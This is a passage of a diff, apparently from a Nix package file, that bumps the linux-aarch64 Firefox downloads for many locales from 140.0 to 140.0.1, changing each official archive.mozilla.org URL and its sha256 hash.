+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/cs/firefox-140.0.1.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "6685742f6e2f6840b81c89c3495c9419a189c22b3cf245cbe991e0fd77269b39";
+      sha256 = "d53d824e42e0670263527bba242dffa5159ffa3c8bebd118c550e5e46ea2e910";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/cy/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/cy/firefox-140.0.1.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "64c9012f46b828d89db623a1efab5f510936b5fe9d67d7df8dd816489c222f8e";
+      sha256 = "0c7777b072ad5de4e399be34fbee6e2ff68bfb7f9f011802ab11a7d32a37e4dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/da/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/da/firefox-140.0.1.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "ad58c524f36bececf9aaf0630f2ed1963a97e550a791bf39405e5d74d4127bdf";
+      sha256 = "6bfa4ff59f42afc3ba5ef6ee90dbfe6c380d479df1eefc4db682a5bee0451f1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/de/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/de/firefox-140.0.1.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "868cdc964e745d0fb751514279be82ea680e0721bd5548ab9dacae0075bd18cc";
+      sha256 = "180e89c5721e8103de58c7d1accf1496f15144bbfcfb0e07b2a061c53c2d10e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/dsb/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/dsb/firefox-140.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "3b5ba7aca878e4816efa1cf2d5142525285c94d195e27b2895228b48f8d65ba6";
+      sha256 = "97184d6e55e2e509786aa79766935250b78db5a2664032bfbfef79dcc5e2b701";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/el/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/el/firefox-140.0.1.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "24163f2144da95b4a2592e3e0fac6959ab59dbcf39af58c96f50ef3dbbd6be91";
+      sha256 = "6fd7480eaa9ef3c9df916eb9c8546ec690ce156418f802d703dfe51de14f56be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-CA/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/en-CA/firefox-140.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "cc5e50fb214b9ca8c66c154cd8d8fda2cdfb76a0ed278dfc816db7fc3cbf925a";
+      sha256 = "8777c5f155680eb7ce5c6b0c2f69fd1b1d8c030d374cc1fd40bdcbc4ceb98490";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-GB/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/en-GB/firefox-140.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "c1151d90cbe870275993f7e8ce07f11d9accffa450bb4b8aeaf67dd2d8ca4423";
+      sha256 = "d5b3b2ac66ad3cac9566fb87c2896799a43937519014f400dea9f56b05c2443d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/en-US/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/en-US/firefox-140.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "ee6fadf005a4a833debe5dabf13efbc43498270a584219fa0594f03c3f590007";
+      sha256 = "b14e2e4d9897f554588626284448dcd45de33f14adf86068cc37492cff08b3c8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/eo/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/eo/firefox-140.0.1.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "d9669dc2ce9b1e4fe0b97d68c2959c6029d73fe82649a40815f1553557c1b5da";
+      sha256 = "a5d2e29c7fda730789fdf5344f3503c049cccd853f501077951f19fa716b542c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-AR/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-AR/firefox-140.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "b9204fcddbcda0bc2eeb7a5d62dbfe9a250b8ac71b2d0137c53ff66bb77cea88";
+      sha256 = "384cc8e1833b44d8a97cf8d81bdfd14583e6d3ea9c06115171cf5c2a3a186cae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-CL/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-CL/firefox-140.0.1.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "b019c76a5b039c6349fcd8d87f9401ee2bd59e51cb7a4c3c71fa0ff781c7c0c3";
+      sha256 = "73da8c1e27d6ea3fed83b98956b2c285eca755b6cc47562493edf1025acd8703";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-ES/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-ES/firefox-140.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "3b58ea93353f618e9b4d1d03bcb5a35b09ebbcb64a4dae5359d40120c85fdd07";
+      sha256 = "64341066655ebbdaffdb5b23156464319f83301f657548906fd6c7628e2c2ad7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/es-MX/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/es-MX/firefox-140.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "8705a9764ded2fcd1d3ca1a2d192ab6240c01fe52783faf107223b288add4bee";
+      sha256 = "2f605075bf3084af5963185e79feb478af011eb4eae096321ac243b21f8102a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/et/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/et/firefox-140.0.1.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "4734f1ca8076bcc733b81509df49fdc98e1e4f9c5c32792791f9dc6d70b2c010";
+      sha256 = "7dffa5c7f543eeefad0d90ddaf81b7900c20fd3f89141b011ef16b71cdd142ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/eu/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/eu/firefox-140.0.1.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "f360e4f9845ff2b4117904625e08bf51c388c877af1cdf197938fd3e156ba0b5";
+      sha256 = "3bbe2b0151da7c38a8e46ceeca7944a01344bf7a4d1f6a2ca6a72c9c44679459";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fa/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fa/firefox-140.0.1.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "ad60e83e349cee74ed100bd1f3a9ce0d404405c6fe6e96773c955b743a9d4956";
+      sha256 = "6970ccdcc6a9f329323834bbf2e40d450475bbf82bea13c0f4c6dbbc4e1dab29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ff/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ff/firefox-140.0.1.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "3952ec8bd22d9fc186738ec2fccb1ed2d1af748effd6aa4de7d4e37c6f7645fe";
+      sha256 = "a577ec80febd8403b28e9d68388d3f9b1ae6dccb6b88f673a6d2127b8f1234a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fi/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fi/firefox-140.0.1.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "3d2bf8f57014058e7c90155808bf971287cc145309126a4ef1cebab2e3cad8e9";
+      sha256 = "51b9ea799d6a1f1ae126679376959ab9d68d75022cd427b3c7f76dfcc5bfd98c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fr/firefox-140.0.1.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "a6070dbe45a468338f10b2754718cc938e4420e39efff16c7c65290ddc49a1bc";
+      sha256 = "feefb2b17b62ec4c46295491025a7849ead4bf7c3fbaeef8fad985238afc8784";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fur/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fur/firefox-140.0.1.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "1c6696ccef61e8e9618b963393cc700d03914b3e526b95df50c8ac72018bad28";
+      sha256 = "bc45dd37277acd1047674efa933aa623ce8c1c8a02145a09cc4361b4e9b3985a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/fy-NL/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/fy-NL/firefox-140.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "36ecf8e1b3528c9455aed04ed257d482ae26973cbd5d3355598d7d2e52ad8c5c";
+      sha256 = "2d135da104662d567138d7736d6a3154959b4210b72240b1ec0f61d247b316bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ga-IE/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ga-IE/firefox-140.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "dcf4ab78577ccc8d4b01ab1064270ff5afb122f8421bc90d233a376315c11db4";
+      sha256 = "a0d65e4c6aa9315572433618c9b09e7b78eedf5e4b80a9e1055f2d3006900758";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gd/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gd/firefox-140.0.1.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "c4ea08226d591cfadc63e5eb25dcab1ca4cc4c9bce3eb5928e592d24cb91f28d";
+      sha256 = "85e2814fc53b3b8aa2b927f5c115acc43d8b3d2ac84c9c4513052f1a67a0b9c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gl/firefox-140.0.1.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "1830af229f1d34900907dd57c35ecdcbf474cf45781c92a1198b299edd531638";
+      sha256 = "02df5a0f9af8a2d56f966c014293a89a1a854fd9a9c4e4a7179e4fce3dd636e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gn/firefox-140.0.1.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "dd10b2c75a1ad910189e68b019acc841050e4bf1e84b709fd4a4a8af8b985418";
+      sha256 = "962c419c285e8d6ad4a732c0be4694b895bea5e2433bbedeefff9f5a2aeca166";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/gu-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/gu-IN/firefox-140.0.1.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "70b9c2a83af23b415f1ac959f91f7455cf328dc24451a34dda56d73ceed65f63";
+      sha256 = "17bb558e863d7f401d03fa73928b58822e0f5e83b78d255d3006a1f50ccae1d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/he/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/he/firefox-140.0.1.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "74dc21a13b7f4ba88e65c7a1e351d5f3a0098761ff3a3700c72312cb92db8dd9";
+      sha256 = "ebcda0e73148affaa16afbac7e8dcee526c7b3c10f3f3f1ba669c7c1a264a096";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hi-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hi-IN/firefox-140.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "7a30df65e8621f47b115864ac8c0be810ae8701536613e49f1eb21284706091b";
+      sha256 = "81d69a32d4de81bbe94d7420cf0059d85b54471ec13352f9b5d7b5329096720c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hr/firefox-140.0.1.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "527623ebecfc8266eec16f9351e3c93870187f2546a4546d29fdf59359f97a7a";
+      sha256 = "651c142061f3ea8abae4acbeb8f3bbf64f924c610e1b411c1c6dc26bd521b853";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hsb/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hsb/firefox-140.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "777e5004b2a64beca9840823da0ae73f9ed9b3fb0c068d0e1282ba3711461afc";
+      sha256 = "d144144c2b036118413aaa161cc74196802dcacb7fdeb13f4c4fa82b496f0417";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hu/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hu/firefox-140.0.1.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "1a2260dfa3efa59b2eb8f60e4096073404302315c327e3c6b84623e83cb47363";
+      sha256 = "3ffa7ecbbe9a5fca62b6d24bd54ca6e1af92465a7c4da590b79a83be724a61bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/hy-AM/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/hy-AM/firefox-140.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "4268af4fc7c4eb4f70073d1843d727fef4eae1a8d46538480fcb12435bca12c3";
+      sha256 = "f4a2faf1eadf996e13f8521b265385e29283328b247f703c4f16a18f9f02d655";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ia/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ia/firefox-140.0.1.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "883ffec6df98a49be7eab9491a480a15bd4c8dea33327213110ebcf9525dc6f6";
+      sha256 = "90b59193eadd35ed1b5d32b0147a5a0bfabc551aed0d57dbb88120b70b044214";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/id/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/id/firefox-140.0.1.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "8ab8cb04defaec64b84c07b2f970e50cae3ccd663fd652c1886e63548bf347a3";
+      sha256 = "32a01c699015bb1d53d4657ea5a8549bd4db196969ccd456d3998b31c02bb232";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/is/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/is/firefox-140.0.1.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "9418275c7171afef7d245999c15772fe59d72b24fcff6c36feba513d97093672";
+      sha256 = "0d8f8185d7fb1f32c105f8711d52b504dd1b2d69c878d9135605a51168dba236";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/it/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/it/firefox-140.0.1.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "7387bd3f54ea876fa8de603a68064f9a9741253db5ef035f47cac057ea8a5b54";
+      sha256 = "28cbc44d9fa43a34e3509f3c591f24839d98a9683f0de200b4e9a5586092279a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ja/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ja/firefox-140.0.1.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "ee86f17d10c9c31bda010ca28ea420da595463cff1cf4c327cc8e8ccccc9ef7f";
+      sha256 = "b5792a8547b9836096eeb5c40cff25dbb6f60659f2b75c5af275ee890e5ff718";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ka/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ka/firefox-140.0.1.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "09f6cbc5ca7af19550a1345c3ece159e221a638c8581b018541aa4a01f7585f5";
+      sha256 = "e0dda1cbcc2eda1172a42fbb76acbe403e62e0fde604a44b7ad1b2c380c0eaf5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kab/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/kab/firefox-140.0.1.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "8a8cce56b466aec4ae3b9eef666c701e2255e005e7146bf212a1286d2081fc56";
+      sha256 = "aebe6bba0b947dd49dac479f6f0f8c6ab523d60719c33410b9442b56be3ac457";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/kk/firefox-140.0.1.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "fc4fa20d7eb321f97e8804eb6075c64db22c5e49abc27aa08b113e772f80238b";
+      sha256 = "4599d95a94c00268bb8813cf2b12436ef1aa59565f20c372ecb5b8c6e58be060";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/km/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/km/firefox-140.0.1.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "c5f87863b190c56c48a21f20527b0fd292cd87ea091b73e6bd537b6d047207af";
+      sha256 = "440a777621eeefbea1b3bd9150c994d1a9dd0743f823076f5ba1d9aa3bbb237a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/kn/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/kn/firefox-140.0.1.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "f596f4e433dbd7513aa62a30b196202880bd4bcff2c36df9c25b86d8a0c6a183";
+      sha256 = "256d669d0601afb810e79c273e96c24255616729d2a958158766a6485739a3ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ko/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ko/firefox-140.0.1.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "d436db9db8e6c980544ee379fd6eff4c9224cc2a7f8acab96149a086dcc03dd6";
+      sha256 = "125723bf51c14a3123e5a59e21bb40a07e79a8c7a34f9ca19bdc2828e15de210";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lij/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/lij/firefox-140.0.1.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "be1e4cd0ca89426842bd516fabb4d6e52d42fdb7270f2a629fbd8688d93fd28a";
+      sha256 = "3b54e73c497873bda4647c6122a07ba062d38ed8c08c1e6958532203a322d17f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lt/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/lt/firefox-140.0.1.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "555b15e0479505f2cb84413538805202927310cee4da1c60d78197aa070aeb23";
+      sha256 = "198df6f35f194011ae51e1e7fe93c42650f0595f7dd24b9a4a57b3a617906b56";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/lv/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/lv/firefox-140.0.1.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "3316aeb17791bf180fbddaaf5e2e945c45ef4a6531b3ad095ddf7a1c00d961ae";
+      sha256 = "eeb14f78652a43ca179973947fba112c0a6647f22e60bb09ca1d5b5851a2090a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/mk/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/mk/firefox-140.0.1.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "01b63debae69c066328daeff5421a081029aefb8b7da054516a6890180f4d594";
+      sha256 = "6e5fe1564578cc113ae94051e660e526298f07eb5e9d3a86a0eb0aabf808663f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/mr/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/mr/firefox-140.0.1.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "3183e1e208e3ccb9ecee0b8d2a550958cf56283e3af129a4225ca2fab1747956";
+      sha256 = "9fb46906a13bc5567182b3b1ef5df0263173a69be8a782b880a40377e4581123";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ms/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ms/firefox-140.0.1.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "72c18125e81abd12b445ad0c099606f17a3fc92489ee96675df5c872773d8768";
+      sha256 = "18124f5a2d1d83b6725c7ffad055eda805db7c775996a9861faed2325f8477b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/my/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/my/firefox-140.0.1.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "50cc9d4f95c8324d82340e86fa51386f1fa357160cd42351a5cd8286f3e9ff34";
+      sha256 = "d94ed1d3c8f7cbfd3dddf68f86bb6626b8fb0bbc885824cdd6ae5e4fb1dc6e38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nb-NO/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/nb-NO/firefox-140.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "89a7af06c905fd1898acfc696145965c64f9a823e981a93307d9420b94e1ec01";
+      sha256 = "512479d30538f6d206af9c07cc426a65a56c4177c7eb1d12d5b63f24a49fd2f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/ne-NP/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/ne-NP/firefox-140.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "d57fb937ab9222fa4ce26d411204066c2832276570d1bc2fe09ccc0fc4c750ac";
+      sha256 = "596c4cca41491bb9244c5d44748491e9df99d8c9018fd1bfbbfc100a56093cc0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/nl/firefox-140.0.1.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "e4dcc699844ee961c0945e6a561d6a03a64b75293ac7eba910f732fabe0c307f";
+      sha256 = "b01b4db6c90ff19dc5918a6e11ebc10892f61536f7b482953ab824b030bb15d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/nn-NO/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/nn-NO/firefox-140.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "ee74df91ad7f4e5f54695b8539697bc9092e2510456851f81c640f4a00d3d08a";
+      sha256 = "eeda843410a96f1f29e4fea2626a522cb5d57b856ff9363e71f974f4345b3c99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/oc/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/oc/firefox-140.0.1.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "a1408bad0de2c64ecea1a72864d9f363da4a153d98d83e7e18db8eae47b796d0";
+      sha256 = "df94f8b914384000391bfc7cc06b8cd6f49663b0cb73dcbc90513aafecd3ed1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pa-IN/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pa-IN/firefox-140.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "88f5f43b701a94d8551e2786f72b7643e4506609f42a2c3596f458d278362d1d";
+      sha256 = "c5b06423d2f2f96a4e990e3f0ee138e66e043512b5c6fa78119054f7841fa08a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pl/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pl/firefox-140.0.1.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "3e7df16ed8b4f808a093e337cd9f79eaba3c39c950561680eb1969027a10a2d1";
+      sha256 = "35c03baeebfd48abdbabfa8d0ebbada67f8172f90c0ebe2a66b81b1bcd06ae5e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pt-BR/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pt-BR/firefox-140.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "d2ae5d20752a16453d7b9146811ffe7646587544611aa1580ab753584653d816";
+      sha256 = "dd8ad39a96bff5e73a42f4c97754dd9518e1880eee97baf3585c5df5f5a04a61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-aarch64/pt-PT/firefox-140.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-aarch64/pt-PT/firefox-140.0.1.tar.xz";
